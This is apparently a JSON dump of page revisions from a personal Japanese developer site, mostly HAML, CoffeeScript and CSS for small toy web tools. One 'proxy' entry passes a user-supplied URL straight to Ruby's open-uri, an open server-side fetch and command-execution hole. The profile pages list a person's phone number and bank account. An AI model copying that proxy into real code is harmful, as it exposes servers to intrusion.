= -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val()))\r\n link = 'http://ssig33.com/car#' + escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n $('#link').val link if link != $('#link').val() \r\n img_loop() \r\n ,500 \r\n \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n console.log(error)\r\n \r\n$ -\u003e \r\n img_loop() \r\n $('#capture').click(-\u003e capture())","created_at":"2011-12-30T08:48:04.000Z","updated_at":"2011-12-30T08:48:04.000Z"},{"id":2000,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val()))\r\n link = 'http://ssig33.com/car#' + escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n $('#link').val link if link != $('#link').val() \r\n img_loop() \r\n ,500 \r\n \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n console.log(error)\r\n \r\n$ -\u003e \r\n recover() \r\n img_loop() \r\n","created_at":"2011-12-30T08:49:13.000Z","updated_at":"2011-12-30T08:49:13.000Z"},{"id":2001,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, type: 'range' min: 100, max:1400} \r\n Top: \r\n %input#top{size: 5, value: 100} \r\n Left: \r\n %input#left{size: 5, value: '-20'}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T09:55:55.000Z","updated_at":"2011-12-30T09:55:55.000Z"},{"id":2002,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n Top: \r\n %input#top{size: 5, value: 100} \r\n Left: \r\n %input#left{size: 5, value: '-20'}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T09:56:01.000Z","updated_at":"2011-12-30T09:56:01.000Z"},{"id":2003,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n Top: \r\n %input#top{value: 100, type: 'range', min: 0, max:500} \r\n Left: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T09:57:03.000Z","updated_at":"2011-12-30T09:57:03.000Z"},{"id":2004,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val()))\r\n link = 'http://ssig33.com/car#' + escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n $('#link').val link if link != $('#link').val() \r\n img_loop() \r\n ,5 \r\n \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n console.log(error)\r\n \r\n$ -\u003e \r\n recover() \r\n img_loop()","created_at":"2011-12-30T09:57:22.000Z","updated_at":"2011-12-30T09:57:22.000Z"},{"id":2005,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n Top: \r\n %input#top{value: 100, type: 'range', min: 0, max:500} \r\n Left: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T09:58:28.000Z","updated_at":"2011-12-30T09:58:28.000Z"},{"id":2006,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: 0, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T09:59:06.000Z","updated_at":"2011-12-30T09:59:06.000Z"},{"id":2007,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: 0, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T10:53:25.000Z","updated_at":"2011-12-30T10:53:25.000Z"},{"id":2008,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: 0, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T10:54:24.000Z","updated_at":"2011-12-30T10:54:24.000Z"},{"id":2009,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: 0, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T10:54:59.000Z","updated_at":"2011-12-30T10:54:59.000Z"},{"id":2010,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"initial\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: 0, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T10:55:15.000Z","updated_at":"2011-12-30T10:55:15.000Z"},{"id":2011,"name":"proxy","body":"ruby\r\nrequire 'open-uri'\r\nopen(request.params['url']).read rescue ''","created_at":"2012-01-01T04:37:09.000Z","updated_at":"2012-01-01T04:37:09.000Z"},{"id":2012,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"initial\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: -200, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2012-01-02T12:44:20.000Z","updated_at":"2012-01-02T12:44:20.000Z"},{"id":2013,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4134 9835 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-01-02T12:48:04.000Z","updated_at":"2012-01-02T12:48:04.000Z"},{"id":2014,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4134 9835 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-01-02T12:48:13.000Z","updated_at":"2012-01-02T12:48:13.000Z"},{"id":2015,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4134 9835 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-01-02T12:48:28.000Z","updated_at":"2012-01-02T12:48:28.000Z"},{"id":2016,"name":"misc/test","body":"ruby\r\nrequest.hostname","created_at":"2012-01-05T11:17:23.000Z","updated_at":"2012-01-05T11:17:23.000Z"},{"id":2017,"name":"misc/test","body":"ruby\r\nrequest.host","created_at":"2012-01-05T11:17:54.000Z","updated_at":"2012-01-05T11:17:54.000Z"},{"id":2018,"name":"misc/test","body":"ruby\r\nrequest.url","created_at":"2012-01-06T10:10:42.000Z","updated_at":"2012-01-06T10:10:42.000Z"},{"id":2019,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\na{ color:blue; }\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:grey}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}\r\n\r\n","created_at":"2012-01-07T01:44:45.000Z","updated_at":"2012-01-07T01:44:45.000Z"},{"id":2020,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n color:white;\r\n background:black;\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\na{ color:white; }\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:white}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-01-18T05:37:46.000Z","updated_at":"2012-01-18T05:37:46.000Z"},{"id":2021,"name":"metro.css","body":"raw\r\nmime css\r\n","created_at":"2012-01-18T05:38:28.000Z","updated_at":"2012-01-18T05:38:28.000Z"},{"id":2022,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:grey}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-01-19T02:52:09.000Z","updated_at":"2012-01-19T02:52:09.000Z"},{"id":2023,"name":"markitnow.ssig33.com","body":"# Service Under Maintenance","created_at":"2012-01-23T03:42:45.000Z","updated_at":"2012-01-23T03:42:45.000Z"},{"id":2024,"name":"markitnow.ssig33.com","body":"# Application Under Maintenance\r\nそのうち復旧 \u0026 正式リリースします。。。","created_at":"2012-01-23T03:43:18.000Z","updated_at":"2012-01-23T03:43:18.000Z"},{"id":2025,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| a.split('/').last.to_i \u003c=\u003e b.split('/').last.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2012-01-24T06:21:22.000Z","updated_at":"2012-01-24T06:21:22.000Z"},{"id":2026,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| a.split('/').last.to_i \u003c=\u003e b.split('/').last.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}}.reverse\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2012-01-24T06:22:14.000Z","updated_at":"2012-01-24T06:22:14.000Z"},{"id":2027,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| a.split('/').last.to_i \u003c=\u003e b.split('/').last.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}.reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2012-01-24T06:22:28.000Z","updated_at":"2012-01-24T06:22:28.000Z"},{"id":2028,"name":"osaka","body":"haml\r\n#data-panel-1\r\n \u003cimg SRC=\"http://oq.la/i\" width=\"600\"\u003e","created_at":"2012-01-27T05:18:47.000Z","updated_at":"2012-01-27T05:18:47.000Z"},{"id":2029,"name":"mazusou","body":"# まずそうな API\r\n食べものをまずそうにする API を作った。\r\n\r\n\u003cform action='http://mazusou.ssig33.com/'\u003e\u003cinput name='url'\u003e\u003cbutton\u003eGo\u003c/button\u003e\u003c/form\u003e","created_at":"2012-02-01T07:49:37.000Z","updated_at":"2012-02-01T07:49:37.000Z"},{"id":2030,"name":"mazusou","body":"# まずそうな API\r\n食べものをまずそうにする API を作った。\r\n\r\n\u003cform action='http://mazusou.ssig33.com/'\u003e\u003cinput name='url'\u003e\u003cbutton\u003eGo\u003c/button\u003e\u003c/form\u003e\r\n\r\nbefore\r\n\r\n![before](http://ssig33.com/gyazo/d8553cc5f2a95e4f8ab406a6d3f956f7.png)","created_at":"2012-02-01T07:52:26.000Z","updated_at":"2012-02-01T07:52:26.000Z"},{"id":2031,"name":"mazusou","body":"# まずそうな API\r\n食べものをまずそうにする API を作った。\r\n\r\nusage: http://mazusou.ssig33.com/?url=Image URL\r\n\r\n\u003cform action='http://mazusou.ssig33.com/'\u003e\u003cb\u003eURL: \u003c/b\u003e\u003cinput name='url'\u003e\u003cbutton\u003eGo\u003c/button\u003e\u003c/form\u003e\r\n\r\nbefore\r\n\r\n![before](http://ssig33.com/gyazo/d8553cc5f2a95e4f8ab406a6d3f956f7.png)\r\n\r\nafter\r\n\r\n![after](http://mazusou.ssig33.com/?url=http%3A%2F%2Fssig33.com%2Fgyazo%2Fd8553cc5f2a95e4f8ab406a6d3f956f7.png)","created_at":"2012-02-01T07:53:19.000Z","updated_at":"2012-02-01T07:53:19.000Z"},{"id":2032,"name":"mazusou","body":"[トップに戻る](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# まずそうな API\r\n食べものをまずそうにする API を作った。\r\n\r\nusage: http://mazusou.ssig33.com/?url=Image URL\r\n\r\n\u003cform action='http://mazusou.ssig33.com/'\u003e\u003cb\u003eURL: \u003c/b\u003e\u003cinput name='url'\u003e\u003cbutton\u003eGo\u003c/button\u003e\u003c/form\u003e\r\n\r\nbefore\r\n\r\n![before](http://ssig33.com/gyazo/d8553cc5f2a95e4f8ab406a6d3f956f7.png)\r\n\r\nafter\r\n\r\n![after](http://mazusou.ssig33.com/?url=http%3A%2F%2Fssig33.com%2Fgyazo%2Fd8553cc5f2a95e4f8ab406a6d3f956f7.png)","created_at":"2012-02-01T07:54:24.000Z","updated_at":"2012-02-01T07:54:24.000Z"},{"id":2033,"name":"mazusou","body":"[トップに戻る](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# まずそうな API\r\n食べものをまずそうにする API を作った。\r\n\r\nusage: http://mazusou.ssig33.com/?url=Image URL\r\n\r\n\u003cform action='http://mazusou.ssig33.com/'\u003e\u003cb\u003eURL: \u003c/b\u003e\u003cinput name='url'\u003e\u003cbutton\u003eGo\u003c/button\u003e\u003c/form\u003e\r\n\r\nbefore\r\n\r\n![before](http://ssig33.com/gyazo/d8553cc5f2a95e4f8ab406a6d3f956f7.png)\r\n\r\nafter\r\n\r\n![after](http://mazusou.ssig33.com/?url=http%3A%2F%2Fssig33.com%2Fgyazo%2Fd8553cc5f2a95e4f8ab406a6d3f956f7.png)","created_at":"2012-02-01T07:54:49.000Z","updated_at":"2012-02-01T07:54:49.000Z"},{"id":2034,"name":"kure.ssig33.com","body":"title チョコレートくれ!!!\r\n# チョコレートくれ!!!\r\n\r\n##[Amazon ウィッシュリスト経由でチョコレートくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でなんかくれ\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain 